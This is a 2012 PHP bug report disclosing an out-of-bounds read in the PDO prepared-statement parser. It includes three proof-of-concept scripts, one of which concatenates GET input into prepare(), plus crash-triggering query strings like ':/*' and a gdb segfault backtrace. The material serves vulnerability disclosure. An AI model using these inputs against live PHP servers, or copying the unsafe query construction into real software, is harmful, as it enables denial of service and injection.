[2012-04-17 13:39 UTC] noamr

Description:
------------
Inconsistent parsing of PHP PDO prepared statements. Erroneous design of parsers 
state machine. Under special circumstances parsing of prepared statements does 
not stop leading in cycling the whole stack without terminating on \0. This 
leads to access violations, accessing of stack data, DoS.

Bug Description
There are several design errors in the state-machine responsible for parsing PHP 
PDO based statement objects. These errors are based on the state-machines 
inability to consistently check the supplied SQL-Query. Under special 
circumstances an attacker is able to force the responsible PDO code to iterate 
beyond the termination of the supplied query string resulting in a buffer out of 
bounds access. This access may lead to uncontrollable as well as attacker 
controllable behavior and Access Violations caused by the code iterating the 
whole stack and trying to access addresses beyond the stack end.

Preconditions
* PDO is used to access the DB
* For remote attacks: User must be able to directly control any part of the 
query string prior its preparation (stm->prepare()). We are well aware that this 
is a general coding fault which leads to other security relevant implications 
but sadly enough it’s also quite common in many frameworks, projects to use 
prepared statements with user controlled data instead of binding them after 
preparation.
* Mysql_real_escape() is no mitigation for this vulnerability. (As stated above, 
there are indeed many projects using user controlled data encoded by 
mysql_real_escape() like this: $argName=mysql_real_escape($_GET[‘Name’]); $db-
>prepare(“SELECT * from ‘user’ where ‘username’=’$argName’; ”).execute();



Test script:
---------------
(We have several samples, these are some of them)

This poc directly prepares the statements query passed to the script via GET Request argument “query”. 
Examples: poc_pdo_short_get.php?query=/* poc_pdo_short_get.php?query=--:


<?php
 try {
 $db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
 //tokens: 
 // SELECT;*;from;'user';/*
 //$sql = "SELECT * from 'user'/*";
 $stmt = $db->prepare("SELECT * from 'user'".mysql_real_escape_string($_GET['query']));
 $stmt->execute();
 //crash
 $stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
 $stmt->fetch(PDO::FETCH_BOUND);
 print_r( $type);
 }
 catch (Exception $e)
 {
 echo "Failed: " . $e->getMessage();
 }
 ?>


<?php
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");

//tokens:
// SELECT;*;from;'user';/* 
$sql = ":/*";

$stmt = $db->prepare($sql);
$stmt->execute();     // crashes php worker in pdo_parse_params()

$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
print_r( $type);

} catch (Exception $e) {
  echo "Failed: " . $e->getMessage();
}

?>


<pre>
<?php
echo "hmm beginning\n";
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
echo "lets get it on\n";
//tokens:
// SELECT;*;from;'user';/* 
$sql = "SELECT * from user :/**";
echo $sql;
$stmt = $db->prepare($sql);
echo "prepared :)\n";
print_r($stmt);
$stmt->execute();     // crashes php worker in pdo_parse_params()
print_r($stmt);
echo "executed :(\n";
$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
echo "--data-\n";
print_r( $type);
echo "--data--\n";

} catch (Exception $e) {
        echo "EXCEPTION";
  echo "Failed: " . $e->getMessage();
}
echo "hmmm end\n";
?>
</pre>

Actual result:
--------------
root@bt:/opt/lampp# gdb ./bin/php 
(gdb) run poc_pdo_linux_short_1.php
Starting program: /opt/lampp/bin/php /opt/lampp/poc_pdo_linux_short_1.php
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x08228a81 in ?? ()
(gdb) bt
#0  0x08228a81 in ?? ()
#1  0x082280eb in pdo_parse_params ()
#2  0x08223891 in ?? ()
#3  0x084b2aad in ?? ()
#4  0x084b1f87 in execute ()
#5  0x08490ed2 in zend_execute_scripts ()
#6  0x0843f13c in php_execute_script ()
#7  0x08506b46 in main ()

References:
https://bugs.php.net/bug.php?id=61755
http://seclists.org/bugtraq/2012/Jun/60